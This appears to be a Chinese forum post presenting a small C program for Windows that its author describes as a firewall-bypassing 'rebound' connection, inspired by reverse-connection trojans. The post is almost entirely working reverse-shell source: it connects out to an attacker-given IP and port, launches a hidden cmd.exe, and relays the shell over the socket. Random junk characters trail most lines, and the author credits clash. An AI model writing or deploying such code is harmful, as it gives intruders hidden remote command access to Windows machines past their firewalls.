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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L;QY<b  
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/* ============================== 'ho{eR@d  
Rebound port in Windows NT g8'DoHJ*  
By wind,2006/7 M3zDtN  
===============================*/ D^Ys)- d  
#include t!_x(u  
#include Be}$I_95\P  
o/,NGU  
#pragma comment(lib,"wsock32.lib") > 4oY3wk8  
M_``'gw  
void OutputShell(); {?{U,&  
SOCKET sClient; 2BzqY`O  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $cVi;2$p  
'xFYUU]#T^  
void main(int argc,char **argv) -s$<Op{s  
{  0v^:  
WSADATA stWsaData; )h^NR3N  
int nRet; !CjqL~  
SOCKADDR_IN stSaiClient,stSaiServer; \Z/k;=Sla  
~@8+hnE]  
if(argc != 3) =ex'22  
{ a)2yE,":  
printf("Useage:\n\rRebound DestIP DestPort\n"); e(1k0W4B  
return; &!35/:~uD  
} N*DhjEU)[  
%McO6.M@  
WSAStartup(MAKEWORD(2,2),&stWsaData); 4(vyp.f  
0p fnV%  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2:$ k  
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stSaiClient.sin_family = AF_INET; S)%_weLW7  
stSaiClient.sin_port = htons(0); ad!(z[F'Y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,M3z!=oIGn  
# X.+  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~DLIzg7p!  
{ 'Zk<l#"}  
printf("Bind Socket Failed!\n"); _eLVBG35z  
return; HBLWOQab  
} F?Or;p5`Y  
AV@\ +0  
stSaiServer.sin_family = AF_INET; G5Q!L;3HZ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9e<Zgr?N  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ][Y^-Ak1  
SvK1.NUa  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )Mzt3u  
{ W'_/6_c$!  
printf("Connect Error!");  r@T| e  
return; Su8'$CFz$.  
} f|xLKcOP  
OutputShell(); =hw^P%Zn  
} /hdf{4  
4FA|[An  
void OutputShell() J-J3=JG  
{ T{*^_  
char szBuff[1024]; WfGH|u  
SECURITY_ATTRIBUTES stSecurityAttributes; lv:U%+A  
OSVERSIONINFO stOsversionInfo; Fc0jQ@4=  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; pH9HK  
STARTUPINFO stStartupInfo; lVeH+"M?  
char *szShell; ~SV Q;U)-  
PROCESS_INFORMATION stProcessInformation; b?kPN:U#N/  
unsigned long lBytesRead; CKTrZxR"  
i=QqB0  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2ALj}  
kqB\xlS7k  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ku3!*n_\  
stSecurityAttributes.lpSecurityDescriptor = 0; Kj*m r%IaU  
stSecurityAttributes.bInheritHandle = TRUE; 4`mO+.za1  
Rlw9$/D!Z  
~4s-S3YzaM  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); v`{:~ q*  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); L? ;/cO^  
R @r{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g'G8 3F  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3kLOoL?  
stStartupInfo.wShowWindow = SW_HIDE; - s|t^  
stStartupInfo.hStdInput = hReadPipe; ~eo^`4O{{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @ t@|q  
>rwYDT#m]  
GetVersionEx(&stOsversionInfo); v#=ayWgk  
n0.8)=;2  
switch(stOsversionInfo.dwPlatformId) rrQ0qg  
{ X^in};&d  
case 1: e?)yb^7K  
szShell = "command.com";  nhfwOS  
break; F7 uhuqA]N  
default: +)-d_K.(k  
szShell = "cmd.exe"; -Uf4v6A  
break; Tcs3>lJ}   
} 1hNEkpL^a  
0^>E`/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $DV-Ieb  
fH!=Zb_{8  
send(sClient,szMsg,77,0); a R#Cot  
while(1) '?R=P  
{ nx :)k-p_[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I2*oTUSik  
if(lBytesRead) |p'i,.(c_W  
{ (^S5Sc=  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `9EVB;  
send(sClient,szBuff,lBytesRead,0); 2nx8iA  
} tG 7+7Z =  
else zZYHc?Z  
{ -ddOh<U>  
lBytesRead=recv(sClient,szBuff,1024,0); s1@@o#r  
if(lBytesRead<=0) break; ew"m!F#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); B_@7IbB  
} 6 ZHv,e`?  
} |Y4q+sDW  
dKe@JQ+-z  
return; 8g5.7{ky  
}
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